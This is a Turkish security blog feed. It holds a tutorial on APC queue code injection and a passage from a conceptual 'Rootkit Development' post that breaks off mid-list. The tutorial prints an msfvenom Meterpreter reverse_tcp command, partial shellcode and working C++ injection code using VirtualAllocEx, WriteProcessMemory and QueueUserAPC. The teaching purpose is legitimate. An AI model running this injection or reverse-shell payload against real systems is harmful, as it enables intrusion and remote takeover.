Jekyll2022-02-19T19:30:28+00:00blacknbunny.github.io/feed.xmlDaily SecurityIn this blog we're going to solve CTF's & Write Some Software's.My goal is redirect my little knowledge to other people.APC Queue Code Injection2019-08-27T00:00:00+00:002019-08-27T00:00:00+00:00blacknbunny.github.io/2019/08/27/APC-Queue-Code-Injection<h1 id="introduction-to-apc-thread-and-apc-code-injection">Introduction to APC, Thread and APC Code Injection</h1>
<p>Bu yazımda bir <strong>APC (Asynchronous Procedure Call)</strong>‘nin ne olduğundan bahsedeceğim. İnternet’te türkçe olarak böyle bir <strong>Code Injection</strong> tekniğinin açıklaması ve örnekleri yapıldımı diye baktığımda hiç bir kaynak bulamadım. Bu yüzdende ben yazmaya karar verdim.</p>
<p>Yazının ileriki kısımların da <strong>Code Injection</strong> gerçekleştirmek için gerekli olan yazılımı <strong>step-by-step</strong> yani adım adım geliştireceğiz. İlk başlarda sıkıcı-anlaşılmaz gelebilir yalnız tüm anlatım birbiri ile bağlı. Kısaca <strong>giriş-gelişme</strong> sıkabilir bu yüzden <strong>sonuç</strong>‘u bekleyelim.</p>
<p>Yazı hakkında kısa bir özet geçmek gerekirse :</p>
<ul>
<li><strong>APC</strong> bir fonksiyondur</li>
<li><strong>Eşzamansız</strong> yani <strong>Asynchronously</strong> çalışan bir fonksiyondur.</li>
<li>Bu fonksiyon <strong>Thread</strong>‘lerin içeriğinde çalışmaktadır.</li>
<li>Biz bu tekniği kullanarak <strong>Process</strong>‘ler içerisine <strong>Kod</strong> enjekte edebiliyoruz.</li>
</ul>
<p>Bahsettiğim <strong>Code Injection</strong> tekniğinin daha önce birçok <strong>Zararlı Yazılım</strong> tarafından kullanıldığını gördük. Örneğin :</p>
<ul>
<li><strong>Carberp</strong></li>
<li><strong>DorkBot</strong></li>
<li><a href="https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html">APT33</a> tarafından geliştirilen <strong>TurnedUp</strong>.</li>
</ul>
<p>Bu <strong>zararlı yazılım</strong>‘lar içerisinde <strong>APC Queue Code Injection</strong> tekniği mevcut.</p>
<p>Yani kısaca anlatmak istediğim popüler bir teknik olduğundan aynı zamanda da bazı <strong>Anti-malware</strong> ve <strong>EDR (Endpoint Detection and Response)</strong> yazılımları tarafından farkedildiğinden, bir <strong>Saldırı</strong> tekniği olarak sıkça kullanılmasını tavsiye etmiyorum.</p>
<h3 id="apc-nedir-">APC Nedir ?</h3>
<p>Yukarıda basit bir özetini geçtim ama yine de teknik açıdan anlatmakta fayda var.</p>
<p><strong>Asynchronous Procedure Call (APC)</strong>, <strong>Eşzamansız (Asynchronously)</strong> olarak çalışan, aynı zamanda da <strong>Thread</strong> içeriğinde çalışmakta olan bir fonksiyondur.</p>
<p>Bir <strong>APC</strong>, <strong>Thread</strong> içerisine sunulduğu zaman sistem <strong>Software Interrupt</strong> gerçekleştirir. Dolayısı ile <strong>Thread</strong> tekrar yüklendiğinde ya da çalıştığında o <strong>Thread</strong> bizim <strong>APC</strong> fonksiyonumuzu çalıştırır.</p>
<ul>
<li>
<p><strong>System</strong> tarafından oluşturulan bir <strong>APC</strong>‘ye <strong>kernel-mode APC</strong> denilir.</p>
</li>
<li>
<p><strong>Application</strong> tarafından oluşturulan bir <strong>APC</strong>‘ye ise <strong>user-mode APC</strong> denilmektedir.</p>
</li>
</ul>
<p>Bir <strong>user-mode APC</strong>‘nin <strong>Thread</strong> içerisinde çalışması için <strong>Thread</strong>‘in bir <strong>Alertable State</strong> içerisinde olması lazımdır çünkü <strong>alertable I/O</strong> dediğimiz olay <strong>asynchronous I/O request</strong>‘lerini <strong>process</strong> eder.</p>
<p>Dolayısı ile bir <strong>Thread</strong> eğer <strong>Alertable State</strong> içerisinde olmazsa bir <strong>asynchronous I/O</strong> requesti olan <strong>APC</strong> fonksiyonunu <strong>çalıştıramaz</strong> yani <strong>process</strong> edemez.</p>
<p><strong>Alertable I/O</strong> ve <strong>APC</strong>‘nin gerekli ilişkisini <strong>Windows</strong> tarafından yazılan bu döküman da daha detaylı öğrenebilirsiniz : <a href="https://docs.microsoft.com/en-us/windows/win32/fileio/alertable-i-o">Alertable I/O</a></p>
<p>Aklı biraz açıkgözlülüğe çalışanın aklına hemen şu soru gelecektir :</p>
<ul>
<li><strong>Yani biz eğer process’in içerisinde bulunan thread’e bir APC fonksiyonu gönderirsek ve bu APC fonksiyonu bizim shellcode’umuzu içerirse bu bir APC Queue Code Injection sayılır değil mi ?</strong></li>
</ul>
<p>Vereceğim bu cevap ile blog yazısının tüm sihrini kaçıracağım ama yinede okuyanlar için heycanlandırıcı bir yazı olmasını istediğimden bu sorunun cevabı da <strong>Evet</strong>.</p>
<h3 id="apc-queue-code-injection">APC Queue Code Injection</h3>
<p>Yazdığımız kodu tek tek anlatmaya başlamadan önce <strong>APC</strong>, <strong>Thread</strong>, <strong>Queue</strong> gibi terimleri daha iyi anlaşılması adına tekrar anlatalım.</p>
<ul>
<li><strong>APC (Asynchronous Procedure Call)</strong> : Asenkron (Eşzamansız) olarak çalışan bir fonksiyondur.</li>
<li><strong>Thread</strong> : Bir <strong>Process</strong> yani çalışan bir program içerisinde birden fazla işlemi aynı zamanda gerçekleştirmek istersek oluşturacağımız <strong>Birim</strong> yani <strong>Unit</strong>‘tir.</li>
<li><strong>APC Queue to Thread</strong> : <strong>Thread</strong> içerisine çalıştırılacak olan fonksiyonu sunmaktır.</li>
</ul>
<p>Daha da basiti eğer biz bir <strong>Thread</strong> içerisine oluşturduğumuz <strong>APC</strong> fonksiyonunu (bu bir shellcode’da olabilir) eklediğimizde <strong>Thread</strong> hata verip sonraki çalışma esnasın da bizim fonksiyonumuzu çalıştıracağından <strong>process</strong> içerisinde oluşturulan <strong>birim</strong>‘leri kontrol edebileceğizdir.</p>
<p>Bu yukarıda anlattığımı kavrayamayan olduysa hiç sorun değil aşağıdaki resim tam olarak <strong>APC Queue Code Injection</strong> tekniğinin nasıl çalıştığını çok basit gözler önüne seriyor.</p>
<p><img src="https://i.hizliresim.com/3OgLzp.jpg" alt="" /></p>
<p>Resimi biraz daha adım adım açmak gerekir ise :</p>
<ul>
<li>Bir <strong>Process</strong> oluşturuluyor.</li>
<li><strong>Process</strong> içerisinde alan(memory) ayrılıyor.</li>
<li>Bu alana <strong>Zararlı Kod</strong> enjekte ediliyor.</li>
<li>Enjekte edilen bu <strong>Zararlı Kod</strong> bir <strong>APC</strong> fonksiyonunun başlangıç adresine veriliyor.</li>
<li>Ve bu şekilde <strong>APC</strong> fonksiyonu <strong>Zararlı Kod</strong>‘u çalıştırıyor.</li>
</ul>
<p>Şimdi bir <strong>Saldırgan</strong> ve <strong>Kurban</strong> yazılımı oluşturacağız. Ve bu sayede <strong>Kurban</strong>‘ın çalıştırdığı <strong>APC</strong> fonksiyonuna bizim <strong>Shellcode</strong>‘umuzu enjekte edeceğiz.</p>
<p>Öncelikle <strong>Kurban</strong> kodunu geliştirelim ve içeriğini biraz daha açıklayalım.</p>
<h3 id="victim-code">Victim Code</h3>
<p>Öncelikle kütüphanelerimizi ekleyelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <iostream>
#include <Windows.h>
</code></pre></div></div>
<p><strong>Main</strong> fonksiyonunu oluşturalım ve içerisinde bir adet <strong>APC</strong> fonksiyonunu çalıştıralım.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int main()
{
std::cout << "Entering alertable state...\n";
SleepEx(1000 * 60, true);
}
</code></pre></div></div>
<p>Basit bir şekilde kodumuz bu. Şimdi birazdan <strong>Saldırgan</strong> kodunu geliştirmeye başladığımızda bu kısmı daha iyi anlayacağız.</p>
<p>Buradaki <strong>SleepEx</strong> fonksiyonu bir <strong>APC</strong> fonksiyonudur.</p>
<p><strong>Windows</strong> tarafından oluşturulan bu <strong>APC</strong> dökümanında hangi fonksiyonlar mevcut bakarsanız <strong>SleepEx</strong>‘i görebilirsiniz tabi onun dışında bir çok <strong>APC</strong> fonksiyonu mevcut :</p>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a></p>
<p>Birazdan yapacağımız şey basitçe <strong>SleepEx</strong> fonksiyonunun başlangıç adresine bizim oluşturacağımız <strong>Shellcode</strong>‘u ekleyeceğiz. Dolayısıyla bu <strong>Kurban</strong> yazılım çalıştığında bizim <strong>Zararlı Kod</strong>‘umuzu çalıştıracak.</p>
<h3 id="attacker-code">Attacker Code</h3>
<p><strong>Saldırgan</strong> kodunu geliştirmeye başlamadan önce alttaki parametreler aracığılıyla <strong>MSFVenom</strong> kullanarak bir <strong>Shellcode</strong> oluşturduğunuzu varsayıyorum.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx EXITFUNC=thread -f c
</code></pre></div></div>
<p>Öncelikle kütüphanelerimizi ekleyelim :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include <iostream>
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
</code></pre></div></div>
<p><strong>Main</strong> fonksiyonunu oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int main()
{
}
</code></pre></div></div>
<p><strong>Saldırgan</strong>‘ın kodu biraz uzun olduğundan adım adım ilerleyeceğiz. Kodu tamamen anlattıktan sonra <strong>Pastebin</strong> linkini vereceğim kendiniz derleyip çalıştırmak isterseniz diye.</p>
<p>Şimdi <strong>Shellcode</strong>‘umuzu bir değişkene atayalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41";
</code></pre></div></div>
<p><strong>APC</strong> içeren <strong>Zararlı Kod</strong>‘u enjekte edeceğimiz <strong>Process</strong>‘in <strong>Snapshot</strong>‘unu alacağımız değişkeni oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
</code></pre></div></div>
<p><strong>Kurban</strong> yazılımı içeren <strong>Process</strong>‘i tutacak değişkeni oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HANDLE victimProcess = NULL;
</code></pre></div></div>
<p>Hekleyeceğimiz <strong>Process</strong>‘in kayıtlarını tutacak olan <strong>processEntry</strong>‘i ve hekleyeceğimiz <strong>Thread</strong>‘in kayıtlarını tutacka olan <strong>threadEntry</strong>‘i oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
</code></pre></div></div>
<p>Hekleyeceğimiz <strong>Process</strong>‘in içerdiği <strong>Thread</strong>‘ların <strong>ID</strong>‘lerini tutacak değişkeni oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>std::vector<DWORD> threadIds;
</code></pre></div></div>
<p><strong>Shellcode</strong>‘un boyutunu tutacak değişkeni oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SIZE_T shellcodeSize = sizeof(shellcode);
</code></pre></div></div>
<p>Sonradan içini açacağımız <strong>Thread</strong>‘i bize tutacak olan <strong>threadHandle</strong> değişkenini oluşturalım :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HANDLE threadHandle = NULL;
</code></pre></div></div>
<p>Aşşağıdaki <strong>Kod</strong> basit bir şekilde şuanda bilgisayarınzda mevcut çalışan <strong>Process</strong>‘lerin dosya ismi ile bizim <strong>Kurban</strong> dosya ismini karşılaştırıp sonrada bulduğunda <strong>processEntry</strong>‘ye kaydediyor.</p>
<p>Daha da basit şekilde <strong>Kurban</strong> yazılımı bulup bu yazılımın <strong>Process</strong> kayıtlarını <strong>processEntry</strong>‘ye ekliyor. Bu şekilde de <strong>yazılım</strong> üzerinde düzenleme ya da içerik görme gerçekleştirebileceğiz. Örneğin <strong>Kurban</strong> yazılımın <strong>Process ID</strong>‘sini görmek gibi vs….</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"testtt1.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
</code></pre></div></div>
<p><strong>Kurban</strong> yazılımı <strong>PROCESS_ALL_ACCESS</strong> değeri ile tüm erişime sahip şekilde <strong>OpenProcess</strong> fonksiyonu aracığılıyla açıyoruz.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
</code></pre></div></div>
<p>Sonra <strong>Kurban</strong> yazılımın içine <strong>VirtualAllocEx</strong> fonksiyonu aracılığı ile enjekte edeceğimiz <strong>Shellcode</strong>‘un boyutu kadar alan ayırıyoruz.</p>
<p>Ayırdığımız alanın <strong>Adresini</strong>‘de <strong>shellcodeAddr</strong> değişkenine atıyoruz :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LPVOID shellcodeAddr = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
</code></pre></div></div>
<p><strong>apcRoutine</strong> değişkeni içerisine <strong>Shellcode</strong> adresimizi atıyoruz.</p>
<p>Bu kısımda kafanız karışmasın bu <strong>değişken</strong>‘in ileride ne yaptığını daha iyi anlayacağız :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellcodeAddr;
</code></pre></div></div>
<p><strong>VirtualAllocEx</strong> ile <strong>Kurban</strong> yazılımı içerisinde ayırdığımız alana <strong>WriteProcessMemory</strong> fonksiyonu ile bizim <strong>Shellcode</strong> yani <strong>Zararlı Kod</strong>‘umuzu yazıyoruz.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>WriteProcessMemory(victimProcess, shellcodeAddr, shellcode, shellcodeSize, NULL);
</code></pre></div></div>
<p>Aşağıda ki <strong>if</strong> karşılaştırması ile <strong>threadEntry</strong>‘nin <strong>Process</strong> içerisinden aldığımız <strong>Snapshot</strong> ile uyumluluğunu sorguluyoruz.</p>
<p>Ve sonraki <strong>do-while</strong> döngüsünde bizim <strong>threadEntry</strong> içerisindeki <strong>Process ID</strong>‘si ile <strong>processEntry</strong> içerisindeki <strong>Process ID</strong>‘nin aynı olup olmadığını karşılaştırıyoruz.</p>
<p>Eğer aynı ise başta oluşturduğumuz <strong>threadIDs</strong> değişkenine <strong>Process</strong> içerisinde bulunan <strong>Thread</strong> yani çalışan <strong>Birimler</strong> tek tek ekleniyor.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
</code></pre></div></div>
<p>Şimdi bu <strong>Saldırgan</strong> kodunun en önemli kısmına geldik.</p>
<p>Aşşağıdaki kod basit bir şekilde şunları yapıyor :</p>
<ul>
<li><strong>for</strong> döngüsü ile yukarıda anlattığımız <strong>do-while</strong> döngüsünden çıkan <strong>Thread ID</strong>‘leri alınıyor.</li>
<li><strong>printf</strong> ile bu <strong>Thread ID</strong>‘ler ekrana yazılıyor.</li>
<li>Her döngü çalıştığında mevcut olan <strong>Thread</strong> tüm yetkilerle yani <strong>THREAD_ALL_ACCESS</strong> ile <strong>OpenThread</strong> fonksiyonu kullanılarak <strong>threadHandle</strong> değişkenin içerisine aktarılıyor.</li>
</ul>
<p>En önemli bölüme geldik <strong>QueueUserAPC</strong>. Bu fonksiyon basit bir şekilde bizim başta içerisine <strong>Shellcode</strong> adresimizi aktardığımız <strong>apcRoutine</strong> değişkenini alıyor ilk parametre olarak.</p>
<p>İkinci paramterle olarakta bir üstünde belirttiğimiz <strong>threadHandle</strong> değişkenini alıyor yani her döngüde yenilenen <strong>Kurban</strong> yazılım içerisinde bulunan <strong>Thread</strong>‘leri.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>for (DWORD threadId : threadIds) {
printf("Thread : 0x%08x\n", threadId);
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
getchar();
}
return 0;
</code></pre></div></div>
<p>Bu fonksiyonun basitçe yaptığı şu <strong>Shellcode</strong> adresimizi bir <strong>APC</strong> fonksiyonu olarak görüyor ve bunu <strong>Kurban</strong> yazılım içerisinde çalışan <strong>Thread</strong>‘lerden birine atıyor.</p>
<p>Dolayısı ile <strong>Thread</strong> bizim <strong>Shellcode</strong>‘umuzu çalıştırıyor.</p>
<p>Tabi diyebilirsiniz ki <strong>Hangi thread’ı kullanması gerektiğini nereden biliyor ?</strong> diye. Çok güzel bir soru.</p>
<p>Seçtiği <strong>Thread</strong>‘ın içeriği bir <strong>Alertable State</strong> içeren <strong>APC</strong> fonksiyonu olmak zorunda.</p>
<p>Daha da basiti : <strong>SleepEx</strong>‘i içeren bir <strong>Thread</strong> ise <strong>Shellcode</strong> çalışıyor.</p>
<p><strong>Döngü</strong>‘nün son kodu olarak eklediğim <strong>getchar</strong> bunu sağlıyor aslında.</p>
<p>Yani eğer <strong>Shellcode</strong>‘u ekleyeceği doğru <strong>Thread</strong> değilse <strong>ENTER</strong> tuşuna basıp program içerisindeki başka bir <strong>Thread</strong>‘ı deneyebiliyoruz.</p>
<p>Ama <strong>Kurban</strong> yazılım içerisinde sadece bir <strong>APC</strong> fonksiyonu kullandığımızdan oda <strong>SleepEx</strong> fonksiyonu olduğundan ilk <strong>Thread</strong>‘da direk <strong>Meterpreter</strong>‘den <strong>reverse_tcp</strong> yani erişimi alacağızdır.</p>
<p><strong>Saldırgan</strong>‘ın tüm kaynak kodu : <a href="https://github.com/blacknbunny/blacknbunny.github.io/blob/master/files/attacker.c">Saldırgan</a></p>
<h3 id="proof-of-concept--poc-">Proof Of Concept ( PoC )</h3>
<p><strong>Saldırgan</strong> ve <strong>Kurban</strong> yazılımlarının <strong>APC Queue Code Injection</strong> etkileşiminin gerçekleştiği bir video hazırladım bakmak isterseniz.</p>
<p>Video : <a href="https://www.youtube.com/watch?v=KmrTowxl6Ho">APC Queue Code Injection PoC</a></p>
<h1 id="the-end">THE END</h1>
<p>Bu yazının sonuna da geldik.</p>
<p><strong>Process Shellcode Injection</strong> tekniklerinden sadece bir tanesidir bu.</p>
<p>Daha önce <strong>Process Shellcode Injection</strong> nedir hakkında bir yazı yayınladım eğer anlayamayan olduysa bu yazıyı.</p>
<p>Bakmanızı öneririm : <a href="https://blacknbunny.github.io/2019/04/28/Process-Shellcode-Injection.html">Process Shellcode Injection</a></p>Introduction to APC, Thread and APC Code InjectionRootkit Development - (Part 1)2019-05-29T00:00:00+00:002019-05-29T00:00:00+00:00blacknbunny.github.io/2019/05/29/rootkit-development-part-1<h1 id="rootkit-development---part-1">Rootkit Development - (Part 1)</h1>
<p>Merhaba arkadaşlar.</p>
<p><strong>Rootkit Development</strong>‘in ilk part’ına hoşgeldiniz.</p>
<p>Bu yazımızda bir <strong>Rootkit</strong>‘in ne olduğunu tam olarak anlayacağız.</p>
<p>Aynı zamanda <strong>Rootkit</strong>‘ler ile daha haşır neşir olacağız.</p>
<p>Bu yazının başında önemli bir açıklama olarak şunu söylemek istiyorum bu <strong>Rootkit Development</strong> serisinden sonra oluşabilecek durumlardan ben sorumlu değilim.</p>
<p>Bunun dışında bu <strong>Rootkit Development</strong> serisi hem <strong>Windows</strong> hem <strong>Linux</strong> aynı zamanda da <strong>Mac OS</strong> işletim sistemleri için geçerli olan bilgileri içermektedir.</p>
<p>Yani daha basit bir şekilde <strong>Ortaya karışık birşeyler yap usta</strong> denildikten sonra bu yazıyı yazmış bulunmaktayım.</p>
<p>Seri sonunda <strong>Rootkit Geliştirmek</strong>, <strong>Rootkitleri tanımak</strong>, <strong>Kernel</strong>, <strong>Software Sec</strong>, <strong>Hardware Sec</strong> vs … gibi cümleler ve kelimelerle daha haşır neşir olacağız.</p>
<p>Ve bunlar dışında <strong>Kernel</strong>, <strong>Hooking</strong>, <strong>Tracing</strong>, <strong>HIDS</strong> gibi anahtar kelimeler ile daha da yakınlaşacağız.</p>
<p>Bu yazıda fazla teknik detaya girmeden aşşağıdaki konuları anlatacağım :</p>
<ol>
<li>
<p><strong>Rootkit Nedir ?</strong></p>
</li>
<li>
<p><strong>Rootkit Tipleri Nelerdir ?</strong></p>
</li>
<li><strong>Rootkit Gizlenme Süreçleri Nelerdir ?</strong>
<ul>
<li><strong>HIDS Nedir ?</strong>
<ul>
<li><strong>HIDS’ler nasıl bypass edilir ?</strong></li>
</ul>
</li>
</ul>
</li>
<li><strong>Logging, Tracing, Hooking Nedir ?</strong>
<ul>
<li><strong>Hooking Türleri Nelerdir ?</strong>
<ul>
<li><strong>System Calls</strong>
<ul>
<li><strong>Hooking System Call</strong></li>
<li><strong>System Call Modules</strong>
<ul>
<li><strong>System Call Function</strong></li>
<li><strong>sysent Structure</strong></li>
<li><strong>Offset Value</strong></li>
<li><strong>modfind Function</strong></li>
<li><strong>modstat Function</strong></li>
<li><strong>syscall Function</strong></li>
</ul>
</li>
</ul>
</li>
<li><strong>Network Connections</strong></li>
<li><strong>Processes</strong></li>
<li><strong>BSD Communication Protocols</strong>
<ul>
<li><strong>protosw Structure</strong></li>
<li><strong>inetsw[] Switch Table</strong></li>
<li><strong>mbuf Structure</strong></li>
</ul>
</li>
</ul>
</li>
<li><strong>Kernel Process Tracing Nedir ?</strong></li>
<li><strong>Keystroke Logging</strong></li>
</ul>
</li>
<li><strong>Kernel Object Nedir ?</strong>
<ul>
<li><strong>Direct Kernel Object Manipulation</strong></li>
</ul>
</li>
</ol>
<p><strong>Rootkit Development</strong>‘in ilk partında yer vereceğim konular bunlar.</p>
<p>Ikinci <strong>Rootkit Development</strong> partında daha da teknik detaya ineceğiz.</p>
<h1 id="rootkit-nedir-">Rootkit Nedir ?</h1>
<p>Bir <strong>Rootkit</strong>‘e kök kullanıcı takımı denilebilir.</p>
<p><strong>Rootkit</strong> bulunduğu işletim sisteminin <strong>Kernel API</strong>‘sini <strong>Hook</strong> ederek çalışmaktadır genellikle.</p>
<p>Yani <strong>Sistem Çağrı</strong>‘larını kendi alehine kullanıp <strong>Dosya</strong>, <strong>Process</strong> vs.. gizleyebilmektedir.</p>
<p>Daha da basit bir şekilde bir <strong>Rootkit</strong> sistem içerisinde <strong>Programları</strong>, <strong>Dosyaları</strong>, <strong>Internet Bağlantılarını</strong>, <strong>Servisleri</strong>, <strong>Driverleri</strong> hatta <strong>İşletim Sistem</strong>‘ini kontrol edebilmektedir.</p>
<p>Bunun yanı sıra sistem içerisinde bulunan <strong>TCP</strong>, <strong>UDP</strong>, <strong>ICMP</strong> vs.. gibi internet protokollerini manipule edebilmektedir.</p>
<p>Ayrıca arkada çalıştırdığı bir <strong>Backdoor</strong>‘un dinlediği <strong>Port</strong> adresini <strong>IP</strong> adresini gizleyebilmektedir.</p>
<p><strong>Mac</strong>, <strong>Windows</strong>, <strong>Linux</strong> işletim sistemlerinde <strong>Rootkit</strong> terimi çokta farklı değildir.</p>
<p><strong>Rootkit</strong> terimine daha da yakından bakacak olursak şayet :</p>
<ul>
<li>
<p>Bir <strong>Rootkit</strong> kendisini veyahut <strong>Zararlı Yazılım</strong>‘ı gizlemek için kullanılabilir.</p>
</li>
<li>Aynı zamanda bir <strong>C&C</strong> yani <strong>Command and Control</strong> sunucusu olarak sistem içerisinde kullanılabilir. Aşağıdaki resim <strong>rootkit.com</strong> tarafından geliştirilmiş <strong>Win2k Rootkit</strong>‘inin komutlarını içermektedir.
<ul>
<li><img src="https://resmim.net/f/MC3Qrx.png" alt="" /></li>
</ul>
</li>
<li>
<p>Görülebildiği üzere sistem içerisinde komut çalıştırmak ve <strong>Klasör, Process</strong> gizlemek mümkün. Ayrıca <strong>sniffkeys</strong> ile <strong>klavye</strong>‘de basılan tuşları yakalamakta mümkün.</p>
</li>
<li>Tabi bunlar bir <strong>Rootkit</strong>‘in yapabileceklerinden bir kaç tanesi.</li>
</ul>
<p>Tabi şöyle bir soru sormak mümkün : <strong>Malware</strong> ile <strong>Rootkit</strong> arasında ne gibi bir fark vardır ?</p>
<p>Bu sorununda cevabı <strong>Rootkit</strong>‘in normal bir <strong>Malware</strong>‘nin işleyişinden farklı olarak <strong>Sistem Çağrı</strong>‘larını <strong>Kancalaması</strong> yani <strong>Hook</strong> etmesi mevcut.</p>
<p>Daha önceki yazım olan <a href="https://blacknbunny.github.io/2019/05/07/linux-system-call-hooking.html">Linux System Call Hooking</a> yazım içerisinde <strong>Rootkit</strong>‘lerin nasıl çalıştığını az çok anlattım.</p>
<p>Yalnız bu ve ileriki yazımda <strong>Rootkit</strong> teriminin daha derinlerine dalacağız.</p>
<h1 id="rootkit-tipleri-nelerdir-">Rootkit Tipleri Nelerdir ?</h1>
<p>Basit bir şekilde <strong>Rootkit</strong> tipleri :</p>
<ul>
<li><strong>Kernel Rootkit</strong>
<ul>
<li><strong>Kernel</strong> içerisinde çalışan bir <strong>Rootkit</strong> tipidir. <strong>İşletim Sistemi</strong>‘nin <strong>Kaynak Kodunu</strong> değiştirip hatta silebilen bir <strong>Rootkit</strong> tipidir.</li>
</ul>
</li>
<li><strong>Hardware or Firmware Rootkit</strong>
<ul>
<li><strong>Hardware</strong> ya da <strong>Firmware</strong> içerisinde çalışan bir <strong>Rootkit</strong> tipidir.</li>
</ul>
</li>
<li><strong>Hypervizor or virtualized Rootkit</strong>
<ul>
<li><strong>Hypervizor</strong> içerisinde çalışan aynı zamanda <strong>Sanallaştırılmış Rootkit</strong> tipidir. <strong>Boot-up</strong> kavramında <strong>Kernel Rootkit</strong>‘i <strong>Kernel</strong> çalıştıktan sonra çalışır yalnız <strong>Hypervizor</strong> içerisinde ilk önce <strong>Rootkit</strong> çalışır dolayısıyla <strong>Kernel Rootkit</strong>‘ten daha güçlüdür. <strong>Hypervizor</strong> içeren herhangi bir durumda kendini gösterebilmektedir.</li>
</ul>
</li>
<li><strong>Bootloader Rootkit or Bootkit</strong>
<ul>
<li><strong>Boot</strong> içerisinde çalışan bir <strong>Rootkit</strong> ve <strong>Bootkit</strong> bizim <strong>İşletim Sistemimiz</strong> ile aynı anda çalışmaya başlar. Kendini <strong>Master Boot Record (MBR)</strong> ya da <strong>Volume Boot Record (VBR)</strong>‘a enjekte etmektedir. Dolayısıyla bir <strong>Antivirüs</strong>‘ün bu tipte bir <strong>Rootkit</strong>‘i yakalaması çok zordur.</li>
</ul>
</li>
<li><strong>Memory Rootkit</strong>
<ul>
<li>Bir <strong>Memory Rootkit</strong>‘i bizim <strong>RAM</strong>‘ımız içerisinde saklanmaktadır. Dolayısıyla <strong>Ram Memory</strong>‘si yani <strong>Hafızası</strong> içerisinde manipule edebilme yetkisine sahiptir. Olabilecekleri siz düşünün.</li>
</ul>
</li>
<li><strong>User-mode or application rootkit</strong>
<ul>
<li>Bir <strong>User-mode</strong> ya da <strong>Application Rootkit</strong>‘inin <strong>Antivirüs</strong> tarafından bulunması kolaydır. Bu tipteki <strong>Rootkit</strong>‘ler <strong>Aplikasyon</strong> yani <strong>Yazılım</strong> içerisinde saklanmaktadır. Ya da daha basit bir şekilde <strong>Kullanıcı</strong>‘nın ulaşabildiği her kısma ulaşabilmektedir.</li>
</ul>
</li>
</ul>
<p><img src="https://resmim.net/f/vEevRU.png" alt="" /></p>
<p>Yukarıda ki fotorafta en çok <strong>Yetkilendirilmiş</strong> ve en az <strong>Yetkilendirilmiş</strong> çekirdeğe giden yolu görebiliriz.</p>
<p>Basit bir şekilde bir <strong>İşletim Sistemi</strong>‘ni <strong>Dünya</strong>‘ya benzetmek mümkün.</p>
<h1 id="rootkit-gizlenme-süreçleri-nelerdir-">Rootkit Gizlenme Süreçleri Nelerdir ?</h1>
<p>Bir <strong>Rootkit</strong>‘in kendini gizleme süreci aşşağıdaki sıralamadan oluşmaktadır.</p>
<ul>
<li>
<p>Örneğin <strong>ls</strong> komutu içerisinde <strong>Çıktı</strong> olarak karşımıza çıkan <strong>Dosyalar</strong> arasında istediğimiz <strong>Dosya</strong>‘yı gizlemeye yaramaktadır tabi bu sadece küçük bir örnek.</p>
</li>
<li>
